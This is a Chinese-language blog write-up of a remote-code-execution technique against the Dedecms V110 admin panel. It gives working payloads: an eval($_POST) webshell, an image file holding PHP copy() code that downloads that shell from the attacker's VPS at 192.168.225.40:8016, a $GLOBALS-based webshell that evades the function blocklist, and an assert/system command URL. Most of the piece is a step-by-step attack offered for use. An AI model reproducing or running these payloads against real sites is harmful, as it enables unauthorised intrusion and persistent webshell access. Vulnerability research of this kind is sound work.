当前位置: 首页 > 技术干货 > Dedecms V110最新版RCE---Tricks

Dedecms V110最新版RCE---Tricks

发表于:2023-08-14 15:02 作者: Ggoodstudy 阅读数(6827人)

前言

刚发现Dedecms更新了发布版本,顺便测试一下之前的day有没有修复,突然想到了新的tricks去实现RCE。

文章发布的时候估计比较晚了,一直没时间写了。

利用

/uploads/dede/article_string_mix.php
/uploads/dede/article_template_rand.php
/uploads/dede/sys_task.php
......

我发布的文档->>>>添加文档->>>>站内选择进行文件上传

/uploads/dede/content_list.php](http://dedecms.xyz:8066/uploads/dede/content_list.php?mid=1)
/uploads/dede/catalog_do.php?channelid=0&cid=0&dopost=addArchives

image-20230728094845280

文件上传

image-20230728094856782

在vps上起一个http的服务,端口设置为8016

image-20230728094909452

远程服务器存放shell.php,文件内容为

<?php @eval ($_POST ['a']);?>

准备一个图片格式的文件,文件内容为,这里我上传的文件名称为f.png

<? copy("http://192.168.225.40:8016/shell.php","shell.php");?>

上传成功后可以看到上传的图片的位置

img

修改文件名为b.php

image-20230728095102010

保存发现png图片已成功被更改,访问b.php,从远程vps下载了shell.php,当前目录下存在一个名称为shell.php的木马文件

image-20230728095304075

image-20230728095321926

利用webshell进行命令执行。

image-20230728095349684

成功执行了命令

思考

如果不考虑文件上传后缀名绕过方法,仅以上面图片格式的文件上传的话,那么无所谓上传的什么内容,因为本身来讲dede的代码中对文件内容是做的有校验的

image-20230728100238554

所以文件内有两种绕过方法

  • 正则绕过

  • disable函数绕过

简单搜索了一下各个平台的文章,其实是有师傅正则绕过实现webshell的。第二点儿,disable函数绕过,往前几个版本,有兴趣的可以看一下源码,之前利用全局变量Globals绕过

image-20230728101122230

代码内容

<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['test1']($b['test2'])
?>

image-20230728101156144

命令执行

http://dedecms.org:8016/uploads/shell.php?test1=assert&&test2=system(%22ipconfig%22);

image-20230728102212211

成功执行命令,且该命令执行为未授权命令执行。

所以在官方前几个版本中已经更新了,添加进了禁用方法

image-20230728101530314

所以在绕过禁用方法上来讲更容易一点儿。所以在利用上这里利用了copy函数的特性,那么这里提醒一下,其它的函数当然也可以满足效果。